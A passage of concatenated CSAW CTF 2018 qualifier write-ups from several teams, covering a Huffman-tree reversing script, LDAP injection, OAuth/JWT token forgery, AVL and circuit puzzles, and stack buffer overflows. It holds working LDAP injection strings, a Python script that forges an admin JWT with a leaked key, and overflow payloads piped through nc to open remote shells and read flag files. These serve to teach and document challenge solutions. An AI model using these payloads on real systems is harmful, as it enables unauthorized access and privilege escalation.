```pythonhlt_tab = {0xc50b6060 : 0x454,0x9d1fe433 : 0x3ed,0x54a15b03 : 0x376,0x8f6e2804 : 0x422,0x8aeef509 : 0x389,0x3493310d : 0x32c,0x59c33d0f : 0x3e1,0x968630d0 : 0x400,0xef5bdd13 : 0x435,0x64d8a529 : 0x3b8,0x5f291a64 : 0x441,0x5de72dd : 0x347,0xfc2ff49f : 0x3ce}text_end = 0x611def replace_jmps(start,end): for p in xrange(start,end): if Byte(p) == 0xB8 and Byte(p + 5) == 0xF4 and Dword(p + 1) in hlt_tab: jmp_addr = hlt_tab[Dword(p + 1)] PatchByte(p, 0xE9) PatchDword(p + 1, (jmp_addr - (p + 5)) & 0xffffffff) PatchByte(p + 5, 0x90) #Patch to hlt to jmp```
There are only 4 conditional `jmp`, so analyze them by hand. Also, edit the function to extend it, so that the analysis in IDA will be easier.
After some reversing, we found that the program is a Huffman Tree. It will encode the input into the path going from root node to the corresponding leaf node, but in reversed order(which makes decoding very hard, since the ambiguity exists).
I got stucked in the algorithm for 3 hours, will add more details later if I have time.
```pythonROOT_OFF = 0x1300def MyQword(addr): ret = Qword(addr) if ret == 0xFFFFFFFFFFFFFFFF: return 0 else: return retdef MyByte(addr): ret = Byte(addr) if ret == 0xFF: return 0 else: return ret
#dfs to get the mappingdef get_path_to_char(node): if MyQword(node) != 0xFF: return [([],chr(MyQword(node)))] right = MyQword(node + 0x10) left = MyQword(node + 8) ret = [] lmap = get_path_to_char(left) for (p, c) in lmap: ret.append((p + [0], c)) rmap = get_path_to_char(right) for (p, c) in rmap: ret.append((p + [1], c)) return ret
def begin_with(l, sl): if len(sl) > len(l): return False for i in xrange(0, len(sl)): if l[i] != sl[i]: return False return True# recursion too long!!!# #return lsit of strings of possibilities# def get_all_poss(bits, mapping, pad):# poss = []# for (p,c) in mapping:# if begin_with(bits, p):# poss.append((len(p), c))# ret = []# for x in poss:# #print poss# print pad * ' ' + x[1]# ret += map(lambda st : x[1] + st, get_all_poss(bits[x[0]:], mapping, pad + 1))# #print ret# return ret
#return lsit of strings of possibilitiesdef get_all_poss(obits, mapping, pad): live_bits = [("",obits)] while len(live_bits) != 1 or len(live_bits[0][1]) != 0: (parsed,bits) = live_bits.pop() poss = [] for (p,c) in mapping: if begin_with(bits, p): poss.append((len(p), c)) #get all poss for x in poss: #print x live_bits.append((parsed + x[1],bits[x[0]:])) #if len(live_bits) == 1: print live_bits return live_bits
def recover(data): ret = [] bits = [] for x in data: for i in range(0,8): if x & (1 << i) != 0: bits.append(1) else: bits.append(0) print bits mapping = get_path_to_char(ROOT_OFF) #while len(bits) > 0: loop does not work well for ambiguoutyt ret = get_all_poss(bits, mapping, 0) return ret
# fails because it is in reverse order# def recover(data):# ret = []# cur_node = ROOT_OFF# for x in data:# for i in range(0,8)[::-1]:# print hex(cur_node)# if x & (1 << i) != 0: #r# cur_node = MyQword(cur_node + 0x10)# else:# cur_node = MyQword(cur_node + 8)# if MyQword(cur_node) != 0xff:# ret.append(MyQword(cur_node))# cur_node = ROOT_OFF# return ret```
Even in the end I did not get the original input, but I've already got the flag, which is part of the input.
## 50 Web / Ldab ##
**Description**
> _dab_> > `http://web.chal.csaw.io:8080`
**No files provided**
**Solution**
We can see a directory of users:

The weird column names and the title of the challenge can quickly lead us to finding out about Lightweight Directory Access Protocol (LDAP). More specifically, [LDAP filters](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol#Search_and_Compare) and even better - [LDAP injection](https://www.owasp.org/index.php/Testing_for_LDAP_Injection_%28OTG-INPVAL-006%29).
A simple way to verify if the page is vulnerable is with test strings like `*` (should show all users), `Pete*` / `P*te` (should show Pete), before moving on to injections with `(` and `)`.
The page always shows results with `OU` (object class?) value of `Employees`, and whatever we type into the search box must match the `GivenName` column. Presumably there is an entry in the database that never shows up, which will contain the flag itself. This is the filter used (shamelessly stolen from the source):
filter: (&(objectClass=person)(&(givenName=<input>)(!(givenName=Flag)))) intended meaning: (objectClass is person) AND ( (givenName is <input>) AND NOT(givenName is Flag) )
We can verify this is the case without much damage (yet):
input: *)(givenName=Pete filter: (&(objectClass=person)(&(givenName=*)(givenName=Pete)(!(givenName=Flag)))) meaning: (objectClass is person) AND ( (givenName is any) AND (givenName is Pete) AND NOT(givenName is Flag) )
And indeed, only Pete shows up. Let's try a proper injection:
input: *))(|(objectClass=* filter: (&(objectClass=person)(&(givenName=*))(|(objectClass=*)(!(givenName=Flag)))) meaning: (objectClass is person) AND ( (givenName is any) ) AND ( (objectClass is ANY) OR NOT(givenName is Flag) )
As you can see, the flag exclusion mechanism became optional (either the entry is not the flag OR its object class is any, which is always true). And with that, we can see the flag:
`flag{ld4p_inj3ction_i5_a_th1ng}`
## 100 Web / sso ##
**Description**
> Don't you love undocumented APIs> > Be the `admin` you were always meant to be> > http://web.chal.csaw.io:9000> > Update chal description at: 4:38 to include solve details> > Aesthetic update for chal at Sun 7:25 AM
**No files provided**
**Solution**
We start at a rather empty website.
```html<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>.
```
Trying to go to `/protected` results in the page telling us:
Missing header: Authorization
If we try to do a `POST` request to the two URLs given in the comment:
$ curl -X POST http://web.chal.csaw.io:9000/oauth2/token incorrect grant_type $ curl -X POST http://web.chal.csaw.io:9000/oauth2/authorize response_type not code
OAuth 2.0 is a very widespread mechanism for logins and registrations. It is quite easy to find articles referencing how it works, and both `grant_type` and `response_type`. [Here](https://alexbilbie.com/guide-to-oauth-2-grants/) is a good one.
So, our first step is to make a POST request to the authorisation server, which is represented by the `/oauth2/authorize` URL in our case:
$ curl -X POST -d "response_type=code" \ -d "client_id=admin" \ --data-urlencode "redirect_uri=http://web.chal.csaw.io:9000/protected" \ -d "state=admin" \ -d "scope=admin" \ "http://web.chal.csaw.io:9000/oauth2/authorize" Redirecting to http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJhZG1pbiIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly93ZWIuY2hhbC5jc2F3LmlvOjkwMDAvcHJvdGVjdGVkIiwiaWF0IjoxNTM3Mjk3OTc0LCJleHAiOjE1MzcyOTg1NzR9.gwpoCKI2ZyGAgZlQ3J50j7H-pXWH3HaLLb5sDeblr8I&state=admin
The `code` URL in the above gives us a token which we then submit to the `/oauth2/token` URL:
$ curl -X POST -d "grant_type=authorization_code" \ -d "client_id=admin" \ -d "client_secret=admin" \ --data-urlencode "redirect_uri=http://web.chal.csaw.io:9000/protected" \ -d "code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJhZG1pbiIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly93ZWIuY2hhbC5jc2F3LmlvOjkwMDAvcHJvdGVjdGVkIiwiaWF0IjoxNTM3Mjk3OTc0LCJleHAiOjE1MzcyOTg1NzR9.gwpoCKI2ZyGAgZlQ3J50j7H-pXWH3HaLLb5sDeblr8I" \ "http://web.chal.csaw.io:9000/oauth2/token" {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzI5ODAxOCwiZXhwIjoxNTM3Mjk4NjE4fQ.4HWHo1doTgWejr-jTTdeYoFMKpuiLvT9-I3jSushkNk"}
And with this token we can try to go to `/protected`!
$ curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzI5ODAxOCwiZXhwIjoxNTM3Mjk4NjE4fQ.4HWHo1doTgWejr-jTTdeYoFMKpuiLvT9-I3jSushkNk" \ "http://web.chal.csaw.io:9000/protected" You must be admin to access this resource
But of course, that would have been too simple. Even though we put `admin` in basically all the parameters, we are not admins to the server. Let's have a look at the token though. It seems to be a couple of Base64-encoded strings:
$ printf "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -D {"alg":"HS256","typ":"JWT"} $ printf "eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzI5ODAxOCwiZXhwIjoxNTM3Mjk4NjE4fQ==" | base64 -D {"type":"user","secret":"ufoundme!","iat":1537298018,"exp":1537298618} $ printf "4HWHo1doTgWejr-jTTdeYoFMKpuiLvT9-I3jSushkNk=" | base64 -D | xxd 0000000: e075 87a3 5768 4e05 9e8e bfa3 4d37 5e62 .u..WhN.....M7^b 0000010: 814c 2a9b a22e f4fd f88d e34a eb21 90d9 .L*........J.!..
(I added `=` characters to the end of the second and third strings in order to make their lengths a multiple of 4, i.e. standard Base64 padding.)
The `JWT` bit is particularly interesting. JWT stands for [JSON Web Token](https://en.wikipedia.org/wiki/JSON_Web_Token), and is a simple format for issuing tokens from the server to the client that cannot easily be manipulated. The contents of the token are signed with a key only the server knows and the signature is attached to the token. If either changes, the token is rejected. But ... we have a `secret` value in the payload (the second part of the token)! Let's assume it is the signing key and forge the token such that our `type` is `admin` instead of `user`.
```pythonimport hmacimport hashlibimport base64
# the header is the sameheaderData = b'{"alg":"HS256","typ":"JWT"}'headerB64 = base64.b64encode(headerData, "-_").strip("=")
# modified payload# - set the type to admin# - remove the secret (why not)# - extend the expiry timestamppayloadData = b'{"type":"admin","iat":1537298018,"exp":1608495620}'payloadB64 = base64.b64encode(payloadData, "-_").strip("=")
secret = "ufoundme!"toDigest = bytes(headerB64 + "." + payloadB64)signature = hmac.new(secret, toDigest, digestmod = hashlib.sha256).digest()signatureB64 = base64.b64encode(signature, "-_").strip("=")
print ".".join([headerB64, payloadB64, signatureB64])```
$ python token.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1MzcyOTgwMTgsImV4cCI6MTYwODQ5NTYyMH0.ULVv8Amb2Ai1R57Sr3mPhtU9q-et4ttN2kudnoZrwl0
And with this modified token:
$ curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1MzcyOTgwMTgsImV4cCI6MTYwODQ5NTYyMH0.ULVv8Amb2Ai1R57Sr3mPhtU9q-et4ttN2kudnoZrwl0" \ "http://web.chal.csaw.io:9000/protected"
We get the flag!
`flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}` |
**Description**
> Binary trees let you do some interesting things. Can you balance a tree?> > `nc misc.chal.csaw.io 9001`> > Equal nodes should be inserted to the right of the parent node. You should balance the tree as you add nodes.
**No files provided**
**Solution** (by [PK398](https://github.com/PK398))
The challenge gives you ~100 numbers and tells you to insert the numbers into an AVL Binary Tree and then do a pre-order traversal. The concept of trees should be familiar to programmers and should be able to insert into an AVL tree and be able to do a left and right rotate to balance a tree and if not there are plenty of implementations available online. Once the tree has been constructed, we can traverse it in a pre-order manner (print root, traverse the left subtree and then the right subtree) and print it as a comma-separated list and sending it back to the server gives us the flag.
`flag{HOW_WAS_IT_NAVIGATING_THAT_FOREST?}` |
**Description**
> Start from the monkey's paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.> > - Elyk
**Files provided**
- [`20180915_074129.jpg`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/short-circuit-20180915_074129.jpg)
**Solution** (by [PK398](https://github.com/PK398))

`flag{owmyhand}` |
# CSAW CTF Qualification Round 2018 2018 WriteupThis repository serves as a writeup for CSAW CTF Qualification Round 2018 which are solved by The [S3c5murf](https://ctftime.org/team/63808/) team
## Twitch Plays Test Flag
**Category:** Misc**Points:** 1**Solved:** 1392**Description:**
> ``flag{typ3_y3s_to_c0nt1nue}``
### Write-upJust validate it.
So, the flag is : ``flag{typ3_y3s_to_c0nt1nue}``
## bigboy
**Category:** Pwn**Points:** 25**Solved:** 656**Description:**
> Only big boi pwners will get this one!
> ``nc pwn.chal.csaw.io 9000``
**Attached:** [boi](resources/pwn-25-bigboy/boi)
### Write-upIn this task, we are given a file and we should use a socket connexion to get the flag.
Let's try opening a socket connexion using that command ``nc pwn.chal.csaw.io 9000``.
Input : testtesttest
Output : Current date
Alright. Now, we start analyzing the given file.
Using the command ``file boi``, we get some basic information about that file:
The given file is an ELF 64-bit executable file that we need for testing before performing the exploitation through the socket connexion.
So let's open it using Radare2 :
```r2 boiaaa #For a deep analysis```
Then, we disassamble the main() method:
```pdf @main```
As we can see, there is 8 local variables in the main method:
```| ; var int local_40h @ rbp-0x40| ; var int local_34h @ rbp-0x34| ; var int local_30h @ rbp-0x30| ; var int local_28h @ rbp-0x28| ; var int local_20h @ rbp-0x20| ; var int local_1ch @ rbp-0x1c| ; var int local_18h @ rbp-0x18| ; var int local_8h @ rbp-0x8```
Then, some local variables are initialized:
```| 0x00400649 897dcc mov dword [rbp - local_34h], edi| 0x0040064c 488975c0 mov qword [rbp - local_40h], rsi| 0x00400650 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=0x1a98 ; '('| 0x00400659 488945f8 mov qword [rbp - local_8h], rax| 0x0040065d 31c0 xor eax, eax| 0x0040065f 48c745d00000. mov qword [rbp - local_30h], 0| 0x00400667 48c745d80000. mov qword [rbp - local_28h], 0| 0x0040066f 48c745e00000. mov qword [rbp - local_20h], 0| 0x00400677 c745e8000000. mov dword [rbp - local_18h], 0| 0x0040067e c745e4efbead. mov dword [rbp - local_1ch], 0xdeadbeef```
After that, the message was printed "Are you a big boiiiii??" with the put() function:
```| 0x00400685 bf64074000 mov edi, str.Are_you_a_big_boiiiii__ ; "Are you a big boiiiii??" @ 0x400764| 0x0040068a e841feffff call sym.imp.puts ; sym.imp.system-0x20; int system(const char *string);```
Next, the read() function was called to read the input set by the user from the stdin:```| 0x0040068f 488d45d0 lea rax, qword [rbp - local_30h]| 0x00400693 ba18000000 mov edx, 0x18| 0x00400698 4889c6 mov rsi, rax| 0x0040069b bf00000000 mov edi, 0| 0x004006a0 e85bfeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte);```
The input was set in the [rbp - local_30h] address.
Then, a comparison was trigered to compare the value of the `[rbp - local_1ch]` address to the `0xcaf3baee` value.
But as explained previously, the `[rbp - local_1ch]` value was `0xdeadbeef` and not `0xcaf3baee`.
What to do then ?
As we remember, the data input from the stdin is set in the `[rbp - local_30h]` address.
And since we don't see any check on the data input set by the user while calling the read() function, we can exploit a buffer overflow attack to set the `0xcaf3baee` value in the `[rbp - local_30h]` address.
The difference between rbp-0x30 and rbp-0x1c in hexadecimal is 14. In base10 it's 20.
So the offset that we should use is equal to 20 bytes.
To resume the input should looks like : ``20 bytes + 0xcaf3baee``.
Let's exploit !
In exploit, I only need peda-gdb (I installed it and linked it to gdb so if you don't already downloaded peda-gdb, some of the next commands will not work or will not have the same output).
We run peda-gdb on the binary file and we disassamble the main function just to get the instruction's line numbers:
```gdb boipdisass main```
Output :
We set a breakpoint on line main+108 to see the registers state after calling the cmp instruction:
```b *main+108```
Let's try running the binary file with a simple input (for example input='aaaa' : length <=20):
```r <<< $(python -c "print 'aaaa'")```
Output :
The value of RAX register (64 bits) is `0xdeadbeef` which is the value of EAX register (32 bits). As I remember EAX register is the lower 32 bits of the RAX register. So until now, this makes sense to see that value in RAX register.
The value of RSI register (64 bits) is `aaaa\n` also as expected (data input).
And while jne (jump if not equals) is executed, the program will jump to the lines that executes /bin/date (refer to the main disassambled using radare2).
This is why, we see the current date in the output when we continue using `c` in gdb.
Another important thing, in the stack, we can see the value of the local variables.
Now, let's try smaching the stack and set 20+4 bytes in the data input:
```r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaabbbb'")```
Output :
We can see that the value of RAX (means to EAX) is `bbbb` and we can see that in the stack part, the `0xdeadbeef00000000` was replaced by `aaaabbbb` after replacing the other local variables. And even though, the `Jump is taken`. So, if we continue the execution, we will get the current date.
Now, let's perform the exploitation seriously and replace `bbbb` by the `0xcaf3baee` value:
```r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")```
Output :
Now, RAX (means to EAX) gets the good value `0xcaf3baee`. And the Jump was not taken.
Let's continue :
```c```
Output :
So the /bin/dash was executed.
Now, we try this exploit remotely over a socket connexion:
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")```
Pwned ! We got the shell. And we can get the flag.
But, wait... This is not good. Whatever the command that we run through this connexion, we don't receive the output.
Let's try sending the commands on the payload directly:
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcals'")```
Output :
Good ! Let's cat the flag file :
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcacat flag.txt'")```
Output :
So, the flag is : ``flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}``
## get it?
**Category:** Pwn**Points:** 50**Solved:** 535**Description:**
> Do you get it?
### Write-upI tried writing a write-up but after reading another one, I felt uncomfortable to write it.
This is the greatest write-up of this task that I recommand reading it :
[https://ctftime.org/writeup/11221](https://ctftime.org/writeup/11221)
Which is a shortcut it this one :
[https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md](https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md)
My solution was closer because it remains to some payload :
```python -c "print 'A'*40+'\xb6\x05\x40\x00\x00\x00\x00\x00'" > payload(cat payload; cat) | nc pwn.chal.csaw.io 9001```
Output :
Now, we got the shell !
We can also get the flag :
```idlscat flag.txt```
Output :
So, the flag is `flag{y0u_deF_get_itls}`.
## A Tour of x86 - Part 1
**Category:** Reversing**Points:** 50**Solved:** 433**Description:**
> Newbs only!
> `nc rev.chal.csaw.io 9003`
> -Elyk
> Edit (09/15 12:30 AM) - Uploaded new stage-2.bin to make Part 2 easier.
**Attached:** [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) [Makefile](resources/reversing-50-a_tour_of_x86_part_1/Makefile) [stage-2.bin](resources/reversing-50-a_tour_of_x86_part_1/stage-2.bin)
### Write-upIn this task, we only need the [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) file.
The other files are needed in the next stage which I haven't already solve it.
I just readed this asm file and I answered to the five question in the socket connexion opened with `nc rev.chal.csaw.io 9003`.
> Question 1 : What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')
Resume of the instructions :
```xor dh, dh ; => dh xor dh = 0. So the result in hexadecimal is 0x00```
> Question 2 : What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov dx, 0xffff ; => dx=0xffffnot dx ; => dx=0x0000mov gs, dx ; => gs=dx=0x0000```
> Answer 3 : What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov cx, 0 ; cx=0x0000 ; Registers that ends with 'x' are composed of low and high registers (cx=ch 'concatenated with' cl)mov sp, cx ; => sp=cx=0x0000mov si, sp ; => si=sp=0x0000```
> Answer 4 : What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov al, 't' ; => al='t'=0x74 (in hexadecimal)mov ah, 0x0e ; => ah=0x0e. So ax=0x0e74. Because ax=ah 'concatenated with' al```
> Answer 5 : What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```.string_to_print: db "acOS", 0x0a, 0x0d, " by Elyk", 0x00 ; label: <size-of-elements> <array-of-elements>mov ax, .string_to_print ; 'ax' gets the value of the 'db' array of bytes of the .string_to_print sectionmov si, ax ; si=axmov al, [si] ; 'al' gets the address of the array of bytes of the .string_to_print section. Which means that it gets the address of the first byte. So al=0x61mov ah, 0x0e ; ah=0x0e. So ax=0x0e61. Because ax=ah 'concatenated with' al```
Then, we send our answers to the server :
Input and output :
```nc rev.chal.csaw.io 9003........................................Welcome!
What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')0x00
What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')0x00
What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')0x0000
What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')0x0e74
What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')0x0e61flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}```
So, the flag is `flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}`
## Ldab
**Category:** Web**Points:** 50**Solved:** 432**Description:**
> dab
> `http://web.chal.csaw.io:8080`
### Write-upThis task was a kind of LDAP Injection.
After we visit this page `http://web.chal.csaw.io:8080` in the web browser, we get this result :
After some search tries, I understood that there is a filter like this `(&(GivenName=<OUR_INPUT>)(!(GivenName=Flag)))` (the blocking filter is in the right side, not in the left side).
I understood this after solving this task. But, I'm gonna explain what is the injected payload and how it worked.
The payload choosed was `*))(|(uid=*`.
And this payload set as an input, when it replaces `<OUR_INPUT>`, the filter will looks like this : `(&(GivenName=*))(|(uid=*)(!(GivenName=Flag)))`.
This is interpreted as :
> Apply an AND operator between `(GivenName=*)` which will always succeed.
> Apply an OR operator between `(uid=*)` and `(!(GivenName=Flag))` which will succeed but it doesn't show the flag.
As I understood, the default operator between these two conditions is an OR operator if there is no operator specified.
So, after setting `*))(|(uid=*` as an input, we will get the flag :
So, the flag is `flag{ld4p_inj3ction_i5_a_th1ng}`.
## Short Circuit
**Category:** Misc**Points:** 75**Solved:** 162**Description:**
> Start from the monkey's paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.
> Elyk
**Attached** [20180915_074129.jpg](resources/misc-75-short_circuit/20180915_074129.jpg)**Hint:** There are 112 Things You Need to Worry About
### Write-upIn this task we are given a photo that contains a circuit from which we should find the flag.
Personally, I solved this task without that hint.
I'm gonna relate how I solved this task. It was not so easy if you can't get it.
After seeing this given picture and after reading the description, I was confused. Is it rotated correctly ? Or should we find the correct rotation ?
So, I choosed this rotation because it looks better for me (that I can think better with a relaxed mind) :
Maybe, I choosed this rotation also because of these hints :
I tried to determinde the path between the 2 +Vcc :
In the first impression, after seeing the LED Diodes, I said
> "Maybe we should find the bits from each led : 1 if the electricity goes through the LED and 0 if not".
So let's fix some concepts. In physics, the electricity goes through an electric component IF there is no short circuit or if the electricity reach the ground. This is what I say in physics related to this task
Also, a short circuit means that the input node have the same voltage as the output node. So the electricity will go from node A to node B through the cable without going in the other path through any other electric component.
So, for the first 16 bits it was OK, I found the begining of the format flag 'flag{}' only for 2 bytes 'fl'. And I was excited :
I commented on 'Counts as 2 each' and I said "Of course because there is 2 LED Diodes. What a useless information".
But starting for the third byte, it was a disaster. I was affraid that I was bad in physics. And it was impossible for me to get even a correct character from the flag format 'flag{}'.
I said maybe I'm wrong for the orientation. Since, in the description, the author mentionned that we should ignore the first bit.
I said, the flag characters are they 7-bits and shall we add the last bit as a 0 ? The answer was 'No'.
I changed the orientation 180 degree. But, I didn't get any flag format.
In the both directions, there is many non-ascii characters.
And I was confused of seeing the same LED diode connected multiple times to the path. So, when I should set a value (0 or 1) to the LED Diode, I say 'should it be 'xx1xxxx' (setting the LED value in the first match) or 'xxxxx1x' (setting the LED value in the last match) 'xx1xx1x' (setting the LED value in all matches) ?
Example :
Should it be '1xxxx' (1 related to the LED marked with a green color) or should it be 'xxxx1' or should it be all of these as '1xxxx1' ?
I was just stuck.
And finally in the last 10 minutes before the end of the CTF I get it !
It was not `for each LED Diode we count a bit`. Instead it was `For each cable connected to the principle path, we count a bit`:
Finally, we get the following bits :
```01100110 01101100 01100001 01100111 01111011 01101111 01110111 01101101 01111001 01101000 01100001 01101110 01100100 01111101```
Which are in ascii `flag{owmyhand}`.
So, the flag is `flag{owmyhand}`.
## sso
**Category:** Web**Points:** 100**Solved:** 210**Description:**
> Don't you love undocumented APIs
> Be the admin you were always meant to be
> http://web.chal.csaw.io:9000
> Update chal description at: 4:38 to include solve details
> Aesthetic update for chal at Sun 7:25 AM
### Write-upIn this task, we have the given web page `http://web.chal.csaw.io:9000` :
In the source code we can finde more details about the available URLs:
So we have to access to `http://web.chal.csaw.io:9000/protected`. But, when we access to this page, we get this error :
We need an Authorization header which is used in many applications that provides the Single Sign-on which is an access control property that gives a user a way to authenticate a single time to be granted to access to many systems if he is authorized.
And that's why we need those 3 links :
> `http://web.chal.csaw.io:9000/oauth2/authorize` : To get the authorization from the Oauth server
> `http://web.chal.csaw.io:9000/oauth2/token` : To request for the JWT token that will be used later in the header (as Authorization header) instead of the traditional of creating a session in the server and returning a cookie.
> `http://web.chal.csaw.io:9000/protected` : To get access to a restricted page that requires the user to be authenticated. The user should give the Token in the Authorization header. So the application could check if the user have the required authorization. The JWT Token contains also the user basic data such as "User Id" without sensitive data because it is visible to the client.
In this example, the Oauth server and the application that contains a protected pages are the same.
In real life, this concept is used in social media websites that are considered as a third party providing an Oauth service to authenticate to an external website using the social media's user data.
Now let's see what we should do.
First, we sould get the authorization from the Oauth server using these parameters:
> URL : http://web.chal.csaw.io:9000/oauth2/authorize
> Data : response_type=code : This is mandatory
> Data : client_id=A_CLIENT_ID : in this task, we can use any client_id, but we should remember it always as we use it the next time in thet /oauth2/token page
> Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : if the authorization succeeded (in the Oauth server), the user will be redirected to this URI (in the application) to get the generated token. In this task we can use any redirect_uri. Because, in any way, we are not going to follow this redirection
> Data : state=123 : Optionally we can provide a random state. Even, if we don't provide it, it will be present in the response when the authorization succeed
So in shell command, we can use cURL command to get the authorization :
```cl_id=1echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token&state=123" | awk -v FS="code=|&state" '{print $2}')echo "Getting Authorization Code : ${auth_key}"```
Output :
```Getting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjU2MTEsImV4cCI6MTUzNzIyNjIxMX0.LM3-5WruZfx1ld9SidXAGvnF3VNMovuBU4RtFYy8rrg```
So, this is the autorization code that we should use to generate the JWT Token from the application.
Let's continue.
As we said, we will not follow the redirection. Even you did that, you will get an error. I'm going to explain that.
Next, we send back that Authorization Code to the application (`http://web.chal.csaw.io:9000/oauth2/token`) :
> URL : http://web.chal.csaw.io:9000/oauth2/token
> Data : grant_type=authorization_code : mandatory
> Data : code=THE_GIVEN_AUTHORIZATION_CODE : the given authorization code stored in auth_key variable from the previous commands
> Data : client_id=SAME_CLIENT_ID : the same client id used in the begining (variable cl_id)
> Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : this URI should be the same redirect_uri previously used
So the cURL command will be :
```echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token")echo "Getting Json Response : ${token}"```
Output :
```Getting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k"}```
And, we get the Json response from the token page. Now, this application generated for us a JWT Token that contains some data that identifies our user which is supposed to be previously authenticated to the Oauth server (I repeat, I said it's supposed to be. To give you an example, it's like a website, that needs to get authorization from Facebook to get access to your user data and then it returns a JWT Token that contains an ID that identifies you from other users in this external website. So you should be previously authenticated to the Oauth server (Facebook) before that this external website gets an authorization to get access to your user data. Seems logical).
Let's extract the JWT Token from the Json response :
```jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")echo "Extracting JWT Token : ${jwt}"```
Output :
```Extracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k```
Nice ! Now, we decode this JWT Token using python. If you don't have installed the 'PyJWT' python library, you should install it in Python2.x :
```pip install PyJWTjwt_decoded=$(pyjwt decode --no-verify $jwt)echo "Decoding JWT Token : ${jwt_decoded}"```
Output :
```Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}```
Good ! Now, we know that secret="ufoundme!" and the type="user".
In the first impression when I get this output, I said, why there is no username or user id and instead there is the secret ?
Maybe my user is an admin as expected from the task description.
But when I try to access to the protected page using this JWT Token I get this :
